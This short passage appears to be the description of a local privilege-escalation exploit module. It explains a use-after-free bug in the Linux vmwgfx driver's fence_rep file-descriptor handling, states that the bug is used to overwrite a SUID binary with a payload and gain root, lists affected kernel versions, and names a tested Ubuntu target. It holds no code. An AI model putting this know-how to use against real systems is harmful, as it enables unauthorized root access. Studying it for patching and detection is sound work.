          If the vmwgfx driver fails to copy the 'fence_rep' object to userland, it tries to
          recover by deallocating the (already populated) file descriptor. This is
          wrong, as the fd gets released via put_unused_fd() which shouldn't be used,
          as the fd table slot was already populated via the previous call to
          fd_install(). This leaves userland with a valid fd table entry pointing to
          a free'd 'file' object.

          We use this bug to overwrite a SUID binary with our payload and gain root.
          Linux kernel 4.14-rc1 - 5.17-rc1 are vulnerable.

          Successfully tested against Ubuntu 22.04.01 with kernel 5.13.12-051312-generic.
